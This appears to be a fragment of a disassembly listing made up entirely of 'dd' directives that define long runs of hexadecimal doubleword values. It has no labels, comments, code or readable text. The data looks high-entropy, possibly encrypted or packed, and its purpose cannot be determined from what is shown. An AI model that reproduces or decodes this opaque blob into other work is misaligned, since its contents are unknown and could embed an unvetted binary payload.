		dd 2E21BFADh, 2736BD2Ch, 633689B0h, 0E2ADD65h, 2A23A849h
		dd 37263D0Dh, 6A19DD20h, 2E5A200Eh, 0AF17AF75h,	0EAAA1827h
		dd 5BEC172Fh, 0F16F24DAh, 0F2613FE3h, 2C4DE93Ch, 0FE33FC38h
		dd 799D6A34h, 51231F1Ch, 0C540A700h, 0C106A27Bh, 5EAE2F2Ah
		dd 0B49821AEh, 34F4333Ch, 3C387488h, 3F3E3B31h,	1C1AEF33h
		dd 2D1AFE1Eh, 0A4292711h, 0B379232h, 2C7B202Dh,	6809AC27h
		dd 3E633CB4h, 0BD7F3535h, 32BE4A37h, 121F6B46h,	63BF197Ah
		dd 0F1112C21h, 830271ADh, 2BAA796Ch, 7E0E4B60h,	0F00F5178h
		dd 36D73454h, 172FC66Ch, 295C0CFDh, 5A947A9Bh, 7CC9663Bh
		dd 76ABA563h, 0AA69E4E5h, 0D1652E0Bh, 733E10F8h, 5C717693h
		dd 0DA6B6927h, 70B5C32Bh, 184B903Bh, 2476A397h,	2C1E1692h
		dd 29232F69h, 6C3D7EF3h, 2DED088Eh, 0E4585B16h,	0D1506133h
		dd 7D1E63B9h, 0BD408F22h, 0C8130B1Ah, 42BC508h,	35FF3626h
		dd 0B479330Dh, 39EF346Bh, 0D4EC3B43h, 39F32AC3h, 7C3E2B56h
		dd 5837EF3Fh, 0F732141Eh
		dd 0EF2A8122h, 2506CB32h, 0F99F2CC1h, 26FF7425h, 0E22681ACh
		dd 3596AB3Dh, 0D133E87Dh, 554A1195h, 5D1B2D18h,	6528F2A4h
		dd 4E77828h, 0B392D67h,	0C4249C20h, 0EA30C10Ch,	24713F84h
		dd 50997814h, 0C49DF8C2h, 0D82C4AFDh, 7C1EDFBEh, 0F30B332Ah
		dd 0E83319E7h, 266C2ECAh, 32F2A4D6h, 0DF4433C9h, 0D648373Bh
		dd 147F4B3Ch, 8483EB2h,	31D5A0Dh, 331723FEh, 2161C7E4h
		dd 1D2A5BADh, 70F62575h, 2E23A618h, 0B6AAD0B4h,	0BC6938A9h
		dd 6F413E49h, 6B4B6B1Ch, 23564F20h, 79265142h, 0B67C295Ch
		dd 5D602D58h, 2292A130h, 0A5CB1533h, 24F52F98h,	21B95A3Bh
		dd 62901F1Ah, 624083E0h, 0CFB12791h, 29295C2Ch,	0D5992C5Fh
		dd 0C2331656h, 0DAB63492h, 6F6A0837h, 42B66B6Dh, 98581B1Bh
		dd 6AA410E1h, 27342320h, 0E947A798h, 0A7EBA039h, 2FBA3F2Eh
		dd 0E60EF9B8h, 0BD263743h, 0B72A4FF3h, 96133E6Eh, 23DD1F43h
		dd 26E3A12Fh, 2AE1A525h, 0F05EE3ADh, 0DBEF2E1Eh, 0A6F32934h
		dd 371A5935h, 3C340D39h, 1B303E32h, 0CF010CD0h,	8E0A3Fh
		dd 38B53C84h, 6B82C5A9h, 4E7B7E38h, 0D88B2631h,	5816D79Eh
		dd 0FFD22E7Ch, 300EB6DBh, 0EED1389Fh, 222E501Eh, 23CE7420h
		dd 6E46A84Fh, 0A039EC62h, 40323178h, 59465133h,	145C4E5Bh
		dd 4C4F6C5Eh, 199E6950h, 0C0F9F19h, 27A41D90h, 2B682326h
		dd 0EC482CEEh, 5E362F2Dh, 355A5642h, 797B5232h,	3D37F82Ah
		dd 0DC6B4A38h, 60167A0Ch, 0E44B4626h, 2D274B25h, 797B2E6Ah
		dd 0C00B2A6Ch, 63333301h, 66BACFBEh, 3C74B747h,	0D5D2D639h
		dd 944EE2E0h, 0CCCAEA28h, 0E7A32284h, 5C2AAC27h, 472C2D29h
		dd 323131B0h, 372A3C04h, 393A3139h, 0F72B3DC3h,	9D1C1EC1h
		dd 522224DBh, 0AD99A4BAh, 2B2940E9h, 0AEB3ED1Dh, 9295582Ch
		dd 0DE26300Fh, 0A936BE18h, 0BE9433BFh, 9B80733Ch, 2EA61111h
		dd 0AC2BA7B6h, 8D4024A6h, 9B824A8h, 0F3572FB2h,	118EB261h
		dd 0B93298DEh, 55AB3F80h, 1CF71BB2h, 0AA1F4D9Ch, 75BF71A1h
		dd 0C03D6525h, 5C1A2BBBh, 0A4A9A40Fh, 0B0303271h, 983C42F5h
		dd 0C6E6BB4h, 1A0D223Ch, 6C1F2F89h, 0E70E3CD0h,	24F64ACCh
		dd 0EB1C2D40h, 0D5B6D0Dh, 3437C1B4h, 361622DCh,	3838F9BBh
		dd 6F7A170Ch, 0F6D39749h, 4A93725Dh, 0E015006Fh, 0DF2929D6h
		dd 44292C58h, 3931D3ABh, 47233447h, 1B076837h, 123D486Eh
		dd 692B1B4Bh, 21545D1Eh, 2550766Fh, 4A28537Eh, 59422B5Eh
		dd 4565562Eh, 3540B732h, 0A33843B9h, 0A8993B4Eh, 6CAB3F4Ah
		dd 156B2F1Dh, 3D87C9E9h, 0C9897E11h, 0ECAE7C2Ah, 39275B7Ah
		dd 4B82AB5h, 0B32A56F5h, 0B9FB3E71h, 0F3294BF4h, 0BF367D96h
		dd 0E3F23306h, 4758CD12h, 0EB197629h, 672A6D29h, 710D6ED5h
		dd 3737353Bh, 0C1FBD0CFh, 0FEFCB62Eh, 1D02F49Bh, 9425ADCFh
		dd 1A837AA1h, 6252292Eh, 0F6B52C14h, 3239F4ACh,	0BFCACFB0h
		dd 4F2D1C6Bh, 70B0797Bh, 1C3BF345h, 21B1899Dh, 0A3AE73A1h
		dd 0B140A326h, 7F48A82Bh, 91B32B7Eh, 376E3107h,	806866B5h
		dd 3DDE91D1h, 8B1BBD2Dh, 35E01E4Eh, 51F3FEA9h, 9B574855h
		dd 4D8B5F6Ch, 57ADA53Dh, 46670771h, 585C615Eh, 596F0A3Ch
		dd 0B3B534Fh, 6F7F5E2Ch, 537148A4h, 53552021h, 2BBB2941h
		dd 7C7D2F2Ch, 61616174h, 6E2663AEh, 3B5B0948h, 0BF6D38B3h
		dd 56712C7Ah, 0AFE56448h, 6231006Fh, 54B3C4Fh, 0AFAD1CC3h
		dd 735238B1h, 0DE333431h, 0B679BBF9h, 52213DBBh, 0BCBCD4D7h
		dd 847009DCh, 0A279030Bh, 1220C767h, 52A824E9h,	3FBB2FCEh
		dd 1425312Fh, 0B011D53Ah, 9CA81FBEh, 98DC2CDEh,	54948E39h
		dd 73330621h, 293F58A6h, 732E0A5Dh, 0B071EE1Eh,	81652656h
		dd 0B82354B5h, 0BABA2E69h, 19878FBDh, 0F4125D7Ch, 0D2FCC907h
		dd 63222765h, 206CD1ABh, 6F3E0978h, 0B8723D3Ah,	375C3D7Ah
		dd 0D3647939h, 0BEAC0BB8h, 19789F47h, 4D911E7Ch, 632C1A49h
		dd 9C174B2Eh, 4D770945h, 72745811h, 13E40A50h, 45A7554h
		dd 5D361902h, 776C7401h, 0E47B7E20h, 761A4023h,	174B26E3h
		dd 952DEB6Fh, 503667CAh, 4AF1CE0Ch, 26382808h, 9CB9723Ah
		dd 1E1B52F6h, 0A41DD89Eh, 24C357E8h, 2DCCE616h,	0F4A8EA32h
		dd 30AAD129h, 343048ABh, 0B81B8837h, 3B7A3A56h,	293F2000h
		dd 1B468CFh, 22341E20h,	65277B1Bh, 0E16B21FBh, 1A6F27F0h
		dd 0BEB911B0h, 6635B4B0h, 6BBBBA79h, 0BFAFD56Dh, 0B4A44C02h
		dd 0A7C9095Eh, 0EE7626E3h, 9B7B6E74h, 278EACEAh, 27F621EDh
		dd 0F25897B2h, 2BFB5726h, 3F9FB934h, 0E76103Fh,	254A1174h
		dd 0E52CA148h, 25423227h, 0DEC2D40h, 615A7F6Eh,	5525DB62h
		dd 0FD28B423h, 9FD4B016h, 484A7E28h, 219F1639h,	42E0231h
		dd 26DAF2Dh, 0C4268A79h, 3CEF5F24h, 563FF06Fh, 3B3F3B05h
		dd 0BC1A6D2Ch, 0D8D73602h, 0D95F1DB5h, 2462A012h, 0E9AD7528h
		dd 22EB3AC0h, 64CE257Eh, 3092B83Ch, 0AC341566h,	3450890Eh
		dd 34541A56h, 475C203Bh, 0C4B105Fh, 24D6CC73h, 6C980C48h
		dd 3EC5013Ah, 4EE036AFh, 3D3BB409h, 305844E7h, 7E375A36h
		dd 914C0F55h, 2B42BFF6h, 0CD0A38E5h, 0B100279Bh, 6DE1C37Ah
		dd 0D718E344h, 1B1CFD83h, 9EE2963Ch, 9AF3913Ah,	1CBCFB3Eh
		dd 8E1FB9A4h, 87092286h, 8FBF2682h, 2C8BA729h, 22F27E95h
		dd 3D2D7738h, 3719363Ah, 0FD3F9B77h, 1B4B2B7Dh,	291E6922h
		dd 0CAFE2152h, 22D7400Ah, 0CD2FDBF0h, 0CF2BD09Dh, 0DB0E61BBh
		dd 253655DDh, 5B3B3958h, 5F6B3E3Ch, 1E7D0F1Bh, 2921400Fh
		dd 33162443h, 4A2C2847h, 2E4D182Bh, 0CFCD742Fh,	0A9187233h
		dd 0A5B0A7BEh, 0A1B4A3B2h, 0E29584B6h, 0A8BF9681h, 0ACBBAABDh
		dd 0A0B7AEB9h, 0A4B3A2B5h, 0AEB9B0D1h, 37B4ACBBh, 1D59346Ah
		dd 0F3D43B3Ah, 98E4C12Eh, 0A410C52Dh, 8402223Bh, 8CF0226h
		dd 0D3D53892h, 18096E7Bh, 0E4933B8Ah, 17760A5Dh, 18A7B369h
		dd 1D3F561Bh, 1F065CFCh, 0A33E86E1h, 0BFF1850Dh, 27206826h
		dd 7E222BACh, 16E75958h, 61636670h, 1F4E39B3h, 0C6B56A5Ch
		dd 609D4296h, 0CA256F92h, 17560A15h, 26C9614Dh,	73BCACAEh
		dd 24A1BD4Fh, 38459557h, 24D1682Fh, 2E254458h, 1D409B2Eh
		dd 28C84E1Ah, 0A8989109h, 0A932A8D7h, 56397A28h, 763E0A44h
		dd 503A51BBh, 29218412h, 3DA860D2h, 4DF37B76h, 60771E8Ch
		dd 7112D84h, 32782D35h,	4CA5C228h, 66EBAD2Fh, 66375311h
		dd 3F746A2Fh, 481B2A35h, 55D73D95h, 49221DCFh, 22221C31h
		dd 76377AF7h, 0B89A639h, 2F96E427h, 0C3129B31h,	6A067378h
		dd 33076939h, 0B28E3DFCh, 7E11389Fh, 2A3FA21Fh,	96366DC3h
		dd 0CE37A827h, 0A224ECF1h, 0E2A2240Bh, 7254F533h, 0D27E4813h
		dd 23AEC0Fh, 1F3EDFBEh,	212FEEE1h, 2424B4DEh, 0B129BEBCh
		dd 5D3F1BA0h, 0B2E03D52h, 65D6B225h, 1C3B37C9h,	6D6E3B0Ah
		dd 9D8F253Fh, 701F8EFCh, 753E2391h, 8A927E5h, 2DA82BEEh
		dd 587335DCh, 0A1602165h, 0F8641337h, 6EDA523Fh, 3A0EC702h
		dd 210E319Eh, 0BBCA7633h, 632F09B2h, 25C16D40h,	192FEA81h
		dd 30741280h, 233F562Fh, 8C383BB9h, 374A3E6Eh, 0E11C1C71h
		dd 0F8F135B7h, 0C4932B73h, 6F84053h, 288D8FA1h,	6214217Fh
		dd 3445E2DBh, 32FDBBB7h, 13B3B16Bh, 0DA1C0FCEh,	20E43B9Ah
		dd 4BCC2522h, 1128F68Eh, 0FA363FC2h, 0C2202BDCh, 3FDC0A32h
		dd 3638C53Fh, 73CC829h,	59CDC5D6h, 0D30A10EFh, 0CECB1921h
		dd 0AB826D7h, 102BD93Eh
		dd 30DFF4C5h, 10B37EBAh, 3831F13Dh, 35BDA38h, 1F79F83Dh
		dd 0D9951C1Ch, 6A10D07Eh, 532EE1A7h, 0CFA3A20Ah, 6F7E2934h
		dd 37544F58h, 285664B4h, 245AC828h, 5F6E28C3h, 5D171D05h
		dd 0D105A2BFh, 5842001h, 39692837h, 1DC7282Eh, 0B9352E30h
		dd 0BB93D4C2h, 2D13C79h, 0F96A3C7Ah, 5EFCDB39h,	27E6137Eh
		dd 5351747Ch, 1C295C2Bh, 6D080FA6h, 30052F2Ch, 3A013363h
		dd 1DAC6F88h, 3F313A06h, 5C1B0373h, 6C1ECF4Fh, 26AF9C2Eh
		dd 3524AB33h, 0EA23422Dh, 362F22A9h, 0CC7EB932h, 0B3676435h
		dd 70B63E68h, 0F3C73E17h, 0E0E3711Dh, 0E1D3E1A4h, 0A4535325h
		dd 0BB0D64DDh, 10E22D26h, 0C320E30h, 36360A34h,	0D7B9392Ch
		dd 0CEB56B2Ch, 2C5B1890h, 1026E8DFh, 26A67AE3h,	19EA38E3h
		dd 68A64AEBh, 4679362Fh, 1E417C3Ah, 7CFEB851h, 3F3D3D3Dh
		dd 1D6E5B87h, 1D519A7h,	5E462B20h, 0C9217753h, 8E44EB22h
		dd 0F33C174Ah, 3A230C2Eh, 51313836h, 3433105Ah,	1D27363Ah
		dd 0A3BF1F14h, 679282E7h, 94CF0E78h, 259B2AB8h,	0AA26AB05h
		dd 0F23AB617h, 38D73FB5h, 3CD9A0D9h, 114912E7h,	0E0E31DD3h
		dd 2B066DABh, 79E025AFh, 2B27A04Ch, 0EB0EAE28h,	0FFA2F220h
		dd 0BC603528h, 0FED2C838h, 0C9C1C091h, 16391C5Fh, 7428541Eh
		dd 0DB6599CBh, 0EEAA2A27h, 0ECA52C2Fh, 3331343Fh, 0DFB53AA3h
		dd 0C7219268h, 3E3AACC4h, 8BBC2532h, 24810C8Dh,	752733E1h
		dd 1C6965E4h, 965280Bh,	321F9F2Dh, 1177301Ah, 19BAC73Fh
		dd 0FB346B2Ah, 90C9BA31h, 761F1D1Dh, 4E3708F1h,	60277617h
		dd 0F8834235h, 60490A06h, 36712E33h, 0D01F3687h, 1CFFC16Ah
		dd 0FCF3A32h, 8E059D38h, 0D364932Eh, 0D7AD6911h, 3D682869h
		dd 2D7C76C9h, 0B032CA2Ch, 58122370h, 553A36A0h,	2E708D12h
		dd 0AF5B5E1Dh, 6EC9EE0Bh, 0D9353442h, 0F0F53D27h, 70F42D29h
		dd 0BAC0213Ah, 50DDCFDh, 38E23036h, 3A2D3E3Ah, 991C9BB5h
		dd 0F626BDEh, 741822E2h, 7D39FB4Eh, 44624BA7h, 0E8C9CC6h
		dd 3A0502B6h, 83D4789h,	5930ABBEh, 0B4250E0Eh, 29BF1F14h
		dd 0A22C1798h, 5828159Ch, 2E2C6B20h, 0B07A9C67h, 2B13503Eh
		dd 0EF855565h, 3EE334C0h, 0F3353F0Bh, 1E2D9196h, 28205600h
		dd 26155DCCh, 295DD98Ah, 1C4AC520h, 3B44F931h, 67DE387Ch
		dd 3A3A381Bh, 2B303F4Bh, 1F5E20F3h, 2D201757h, 15600CCBh
		dd 275EF826h, 1D39C43Bh, 4550282Eh, 36DD2531h, 0B91F7836h
		dd 3F1DF86Fh, 8219DC7Ch, 91741F8Ch, 27CF2222h, 65A3E714h
		dd 72702B0Eh, 556B7270h, 35343EBBh, 61FCB432h, 353C3FF8h
		dd 0A0D7AF3Fh, 45B951Dh, 0AF752225h, 29274CD4h,	2C2A22A3h
		dd 0BB21A62Fh, 5176DAFFh, 0A038C935h, 1F57213Dh, 1C7933BFh
		dd 5F6BF507h, 0E7AF7127h, 4CA2306Ah, 6B5EC134h,	4D3FAD50h
		dd 28B67658h, 0EB6FDDCh, 98D23DF8h, 3BFA2BBCh, 0DDA9F401h
		dd 2BE1B81Bh, 874A212Eh, 306D2CA7h, 2F2908AFh, 235CB70Ah
		dd 23E514B2h, 2948A5D0h, 0E375CB6h, 85785B27h, 0A3490F1Dh
		dd 74479226h, 990CA3E0h, 2C342D3Ah, 3A100FC6h, 0F5B015F2h
		dd 0FCBCBF39h, 0A94E1B35h, 1E4BAB1Ah, 101BBEBCh, 54C6CA73h
		dd 0A9054E29h, 0C5A8BA2h, 330F8A2Eh, 0BA6DA33h,	7DF099Bh
		dd 3D3B05CAh, 1A3F3CADh, 1D1D68h, 81121410h, 6A16D614h
		dd 0A11B7519h, 0F11F8B1Dh, 1003DC01h, 0ED048A06h, 46095B0Ah
		dd 8A0D940Fh, 102EFE28h, 14153A2Bh, 0C5119E17h,	3E132B1Eh
		dd 0B917A711h, 3D64F315h, 7429F408h, 24486B63h,	31C93F4Bh
		dd 1F3AF329h, 0C502B1Ch, 13E78F4Ah, 0FFA19D1Dh,	0ECCAC325h
		dd 3525D007h, 0D5B5BE51h, 4C51793Eh, 9C83D321h,	9E641E19h
		dd 84F700F6h, 0CC3B2525h, 2A15BC13h, 0FCED09F6h, 0B16FC628h
		dd 30711DF5h, 112AB2D0h, 5D5118D8h, 974D543Ah, 6BCE2E3h
		dd 3EA9476Eh, 0A72BA5C4h, 95257E7Eh, 2F3E0950h,	29B200A7h
		dd 17E5CA64h, 3D13D91Eh, 947E3863h, 500B1C13h, 0DD707716h
		dd 58AEF72Bh, 90214E67h, 8E072C2Ah, 0CC1B8935h,	0D93236B7h
		dd 0FE13D71Dh, 0FE17D308h, 7436F408h, 8FE735FCh, 239309CEh
		dd 8E02C427h, 0CE2CDDF1h, 31C5B804h, 0DA2C19D0h, 0D312D51Ch
		dd 2916D82Eh, 0F90B15D1h, 0C29ACF37h, 0AF4A0Bh,	0BC3CD715h
		dd 0FC0B31DBh, 603768A6h, 246B3091h, 0AF5F785h,	291B7A29h
		dd 2B214E19h, 1F950E9Eh, 0A8300574h, 0A6370160h, 2BD5C808h
		dd 2E3E7C2Fh, 0D118B024h, 71335A4h, 3A086B38h, 3E376C6Ch
		dd 0FFC97455h, 37DE7239h, 24FE28D3h, 0B8E9E8F7h, 2E6F9427h
		dd 56A7302Fh, 0BEC63C59h, 0E7D509Ch, 0A5D51038h, 7D4F180Fh
		dd 722ABE72h, 0AC253173h, 0B9742637h, 2496030Eh, 0E21B244Eh
		dd 51164012h, 0D1141234h, 1939C855h, 0EC132DD6h, 0B4C77618h
		dd 0ECCB7A38h, 28E716F6h, 2D982E5Dh, 0EB1D2CC6h, 0C38133Ah
		dd 3207373Fh, 0B834E1BDh, 947F9F73h, 55DF0DC9h,	33E27121h
		dd 1DC6D44Ah, 6A45A940h, 4F298C34h, 215E403Fh, 0B23515A3h
		dd 343E42F8h, 0D776FEA8h, 1ABFD5ADh, 2689529Ah,	2E759F6Fh
		dd 872B68ADh, 0DEAB246Bh, 66257426h, 74671EC2h,	0EBCFB623h
		dd 6635FA7Bh, 0C6F40A13h, 84511EBEh, 27CC3108h,	38734A6h
		dd 993D2AE8h, 385B09C6h, 9E34D324h, 3828FA1Fh, 0D5159403h
		dd 0BB1A5888h, 0C8512E34h, 627503B3h, 672C0Dh, 68872B83h
		dd 452EF9D2h, 744F16BDh, 0C0BDBD3Fh, 3CF61D30h,	5F679F7Bh
		dd 971E0F1Ch, 0A631057Ch, 253F51E4h, 12296B90h,	2A5C2554h
		dd 177631F6h, 7FBD3427h, 0FB3ABA04h, 4AF7B800h,	0B83097F7h
		dd 6662E0EFh, 4B255530h, 5B087927h, 1691C2Bh, 7601305Eh
		dd 3644EF0Eh, 4B724D67h, 67719C3Bh, 684C1B4Eh, 215178A8h
		dd 5451A4D2h, 0AA569726h, 3F3C2B5Bh, 40A12C2Eh,	36342032h
		dd 3949A82Ch, 4CBA4B2Eh, 1F1B2A3Eh, 0C8D1A55Fh,	2549C2EDh
		dd 0C1372735h, 0D3282A8Fh, 0F08B2C38h, 8CFBB957h, 38557BE6h
		dd 0B7DACD29h, 5E3886F7h, 0DEDC331Ch, 0CAD527C9h, 0E6F72527h
		dd 0E9A139D2h, 302EC5EDh, 0C9B9E133h, 374ACB0Fh, 82FBB25Dh
		dd 3F3F6CBCh, 29C51D1Bh, 0DE16D497h, 1E29B883h,	22B54833h
		dd 4E15140Fh, 56096CB3h, 0E59B40Bh, 2450043h, 34A05CBFh
		dd 0D9807B8Bh, 19F4581Eh, 0C1841BFEh, 0DD10CB1Eh, 2D289AAAh
		dd 8242FB3h, 0C100A2Eh,	0D380E1Ah, 51056B03h, 62964B07h
		dd 6001F663h, 2CA87206h, 0F807CEEAh, 2866A73Ah,	0C421B4C5h
		dd 34C32231h, 5EB25415h, 54233849h, 717E3F3Dh, 752A3E4Ch
		dd 99632821h, 216A6A91h, 0E3A1782Eh, 7F5FC568h,	11DA6131h
		dd 35F22F05h, 0B337930h, 3FB3FDB8h, 1A1DA137h, 730A2C92h
		dd 0A6767407h, 5956C022h, 6E09782Dh, 60F9BB33h,	38B5FF18h
		dd 0B1C0381Ch, 0D66D6BF5h, 8F196150h, 20F00317h, 0CD777370h
		dd 0ABA02559h, 21E8A828h, 39B9EA2Dh, 0F16B3B74h, 4FC7B233h
		dd 853F3B0Ch, 3CCBD73Fh, 0D048FF4Ah, 5423B621h,	0CC70123h
		dd 0A7070DF9h, 8AC77EE2h, 18329182h, 3FA73295h,	0DC3C402Bh
		dd 1B57863Ch, 5E183C1Dh, 7229A124h, 5B302064h, 2D3B69B8h
		dd 45442D97h, 0B8726331h, 13AABCFCh, 0C3B999A4h, 0FEA33243h
		dd 0FF9E1C52h, 21E0A3E1h, 25E5D5A8h, 0E5DA1E1h,	0EC2B2C27h
		dd 0F3D92220h, 0E340D93Ch, 41B26F35h, 0F0B6383Bh, 0D21FDB0Ch
		dd 0AADD3795h, 0EF3450F3h, 0D7AB2A66h, 87DF2A2Ah, 72BA3F5Bh
		dd 48B91336h, 0FE8BF37h
		dd 0FD27FA01h, 7C19DFBDh, 230ADE9Eh, 0C1737DE0h, 0A8273229h
		dd 225F20D2h, 3022D5ADh, 0CFB33B45h, 0BC334269h, 3D4EE179h
		dd 0EBC4BF7Eh, 41E6B1Fh, 0CBE3E2ABh, 0A72C192Ch, 2616255Ch
		dd 0EE122558h, 46F21131h, 0BC36B432h, 0B8823D6Fh, 3F7D26E2h
		dd 0BF3DDE9Ah, 0D5202018h, 22A8C623h, 9C25A5AEh, 3CC72CEAh
		dd 0BFB134A2h, 9534BD3Fh, 39D8F937h, 15FF38B6h,	5F5CDA3Dh
		dd 0DEC19E0Ah, 270423DDh, 235EE61Dh, 0AEF42ACAh, 44CFD42Eh
		dd 0C8207833h, 8238C6DEh, 0D51D3BCEh, 1CE9B6D3h, 20EC1419h
		dd 0D6FECA03h, 0DC6A8425h, 0E1C30929h, 0C4B92EDFh, 0DC171A31h
		dd 0E737C488h, 0D41E3ACDh, 1BCD932Fh, 1FED1634h, 0A6BFC906h
		dd 0D35725D6h, 0E4C20E28h, 8D2EDCF1h, 8FBCC5AFh, 66663634h
		dd 4A527D81h, 0A7D629ECh, 0D11F3C4Ah, 2AABF11Eh, 660158AAh
		dd 64A135CFh, 2AFCD3D5h, 2295A2Ah, 32C63533h, 501D1C63h
		dd 0A4D56E3Dh, 3918C9ADh, 53F01BCAh, 21C48DCAh,	0AFA57776h
		dd 7D23CB32h, 713E2BDAh, 5F189BA5h, 30AD1566h, 5D2EA31Ah
		dd 762B97A8h, 251FEE09h, 0F4312291h, 0F83A8424h, 3B413928h
		dd 602B2FDDh, 5E3A9A30h, 2C37C604h, 6C34A279h, 0B30543Ch
		dd 1E2E1E1Eh, 0D2231107h, 57B52426h, 0A62B9B2Ah, 6A3A5CA0h
		dd 8B92CAE8h, 8FF53474h, 0AD18B90h, 0DC5237h, 6A323A10h
		dd 0A9932EAEh, 4EA02002h, 2E722887h, 74297E59h,	1B3562CFh
		dd 35C4306Ch, 7190699Bh, 0B33F4C6Ah, 1DBDDFB2h,	0FD20BD5Eh
		dd 10248267h, 31902786h, 1E20EAC6h, 323370EEh, 712B31B4h
		dd 2E383721h, 6C2B3041h, 760DFF7Fh, 0F665F609h,	20273127h
		dd 3EA7E6A0h, 582F2A39h, 230F8B36h, 0BD0412CEh,	3C243533h
		dd 2CC12A5Dh, 1B372D3Ch, 791CFC0Fh, 5C30DE22h, 33CE0084h
		dd 2FC224B0h, 62E68EDh,	17B6F7F8h, 2336B4A4h, 7096D139h
		dd 223FC2C3h, 5BF55D03h, 26215F9Fh, 7FB9AC2Fh, 0FEC12525h
		dd 31AA382Bh, 312EB07Bh, 29B566B9h, 3826B1B4h, 21B952D3h
		dd 1AF44D17h, 20B60092h, 25007736h, 6C5F1445h, 2F2C291Fh
		dd 6E302ECFh, 455A4044h, 19565E44h, 3F3C5D4Eh, 7F1EEE89h
		dd 266F9375h, 342AD31Dh, 77268824h, 2D2F2BCFh, 5D263DEDh
		dd 7D323241h, 40523465h, 832EFA50h, 5B5E3F1Eh, 8E1F1D68h
		dd 2E824C22h, 67E1254Bh, 846D2E2Ah, 2D19AB6Bh, 9B3A06A7h
		dd 773634h, 0CBC4D125h,	3FC1C2D0h, 0E1BDD2Fh, 1821141Fh
		dd 402110E7h, 7C1DE4B6h, 1E6BA713h, 0B7E6332Fh,	0E63BDF3h
		dd 0B11E6843h, 83D0075h, 0C4285C1Fh, 335E449Eh,	2E246DA9h
		dd 0A12D78AEh, 2DA72F75h, 0CE612861h, 37E8BB27h, 97813626h
		dd 0FA398BB6h, 0AE1E3879h, 391FEB1Fh, 0AC07AEAAh, 77246625h
		dd 0EC197777h, 0C0AE4B0Eh, 3733B6F5h, 6EE896C7h, 3C343A36h
		dd 143F31C2h, 101E121Ch, 94F2E20h, 2B04A760h, 0AB798228h
		dd 7D46517Fh, 2607B264h, 3F3DB7CCh, 0BAAE99BAh,	1B72A23Fh
		dd 26754D67h, 0AF212F9Eh, 98CD4D69h, 2AD6D4E0h,	0AA9A77Bh
		dd 3226312Fh, 0BEBF36FBh, 0AAB3A6B7h, 90BD983Bh, 0EBD1836h
		dd 80D01ED5h, 3D4E2619h, 67284727h, 24462C40h, 0D1712944h
		dd 365E3C37h, 2D98275Ch, 3456937Eh, 0B00DDF6Fh,	401B08FDh
		dd 44FE2005h, 10E3A501h, 6EA0D2A2h, 35792AE3h, 55F4CAD9h
		dd 0D013F93Bh, 0D43BDBC9h, 98045EA2h, 1F05DFD8h, 5006021h
		dd 56624E5h, 2AEA8219h,	6AAE2769h, 3973513Ah, 6D3C715Fh
		dd 0BA307D4Eh, 63FE3779h, 0AE1759D3h, 992B61CAh, 62E32E67h
		dd 2BE8F92Dh, 0F1BB1B6Bh, 27F131EEh, 162DFCDEh,	0E07CFD3Ah
		dd 10337C91h, 69EA1A3Fh, 35377F58h, 550DCA7h, 1A2EAC18h
		dd 3B52ABF1h, 35763BA3h, 34183EF2h, 374DF73Dh, 0FAEBC40Ah
		dd 1F30DF38h, 0A0219D76h, 0D1562321h, 0A8F71BAEh, 6A4B632Ah
		dd 322EF9D2h, 37B0C545h, 0F969A86Ah, 0E3559836h, 533CF91Ah
		dd 6F777E1Ch, 50070900h, 2126250Dh, 4049467Bh, 0F2E5949h
		dd 405D5D53h, 37185151h, 5E483F38h, 4D584B5Fh, 3670735Bh
		dd 21520036h, 470D4217h, 5829444Eh, 417F2823h, 5C54105Fh
		dd 3731341Dh, 7F564CFDh, 0B5E87636h, 0DD898CFh,	29AE7C9Eh
		dd 952723BBh, 7F780329h, 0E0C4237Dh, 3D34EE12h,	0B748F509h
		dd 0CF3A9820h, 4DD7E245h, 0F89D5D7Eh, 327E40E7h, 72C82621h
		dd 0C632FB5h, 7B281978h, 345BF5C5h, 0B4D92F4h, 0B9A303BEh
		dd 0CC046A3Eh, 0E53C0434h, 0E01C0C0Fh, 0CB06C621h, 84292735h
		dd 433C5C3Ch, 752D2DA8h, 4F10F15Ah, 21960E75h, 7C2FC930h
		dd 0BC2DDE1Dh, 6F77E3D3h, 0E267E71Fh, 0E121240Bh, 2A680861h
		dd 0E925A79Bh, 65800469h, 70BC1875h, 33B91C27h,	0FD646733h
		dd 0F54C459Eh, 2131F510h, 5007F53h, 5DE85667h, 0ADEB8D0Ch
		dd 5B980F2Ch, 17925E3Ah, 0F9333037h, 0BE3B3B9Ch, 621A363Eh
		dd 0DBEF9DC6h, 85F55720h, 883A4627h, 2C040A2Bh,	31D7AD3Dh
		dd 72BA264Fh, 38D4323Dh, 0EBC40B3Bh, 0BA172C9Eh, 9F1CAFCFh
		dd 0C271240Ch, 5556F522h, 9BB12129h, 7C8D1D2Ch,	3A523A62h
		dd 830649DCh, 2210F989h, 7BDF929Ch, 0FE0D733Bh,	0C314521Eh
		dd 3660CC22h, 0B9B8582Ah, 1E2C3492h, 745B7E2Fh,	0D7357359h
		dd 0A39338E2h, 0EBEE3CEAh, 1DCDDC3Fh, 6B20CADBh, 9224F2D7h
		dd 270B27F3h, 78852BFAh, 0E0612FFBh, 35E1A832h,	0EE38E649h
		dd 0FA738E13h, 0D51BEF2Eh, 33101EC8h, 9F23F284h, 3D7026F0h
		dd 2D862AF9h, 2A7DC82h,	0E26A2C07h, 0AC377650h,	71B43ECBh
		dd 295D296Ch, 0CDFFB7F9h, 0ACF0A819h, 0E12674ABh, 0DA0233BAh
		dd 2F4F2C2Ch, 0B42B720Ch, 3436604Fh, 0E617188Ah, 8D962F9Eh
		dd 0FF44DF95h, 0A395EE77h, 421D560Dh, 7C462305h, 7C522EF8h
		dd 0B209552Fh, 0E620CB1Dh, 0FA0A1EB7h, 2E243FB8h, 4A4A138Dh
		dd 51A0E02Dh, 249B3002h, 1D2C2426h, 0AFFD7412h,	5B34451Ah
		dd 0B5482CB2h, 3B7EB73Eh, 48613BFEh, 1C17803Bh,	3A1F531Eh
		dd 2478A335h, 2A7719ECh, 2EAA2E18h, 3018A770h, 0E2205A2h
		dd 20D0C1Ch, 60017139h,	65055307h, 25911D26h, 19931B80h
		dd 0F4261FE6h, 0D910C812h, 2F152E16h, 8170A24h,	34360E02h
		dd 1B3AB93Ah, 0EF33E3Ch, 731D2A45h, 0E3175229h,	2613C215h
		dd 100611A2h, 12EA166Ch, 0F2BBF07Ch, 3666F4B0h,	3038A039h
		dd 303A298Bh, 0A912139Fh, 65AA1116h, 0E50F2106h, 5DE8A36Ch
		dd 0BAEC180Eh, 61B4082Ah, 35AB1FF3h, 0B952670Ah, 3DDB5912h
		dd 0CDFBC3Fh, 243E19BDh, 0A2CB2A73h, 1A1B84C7h,	0C43FA1E9h
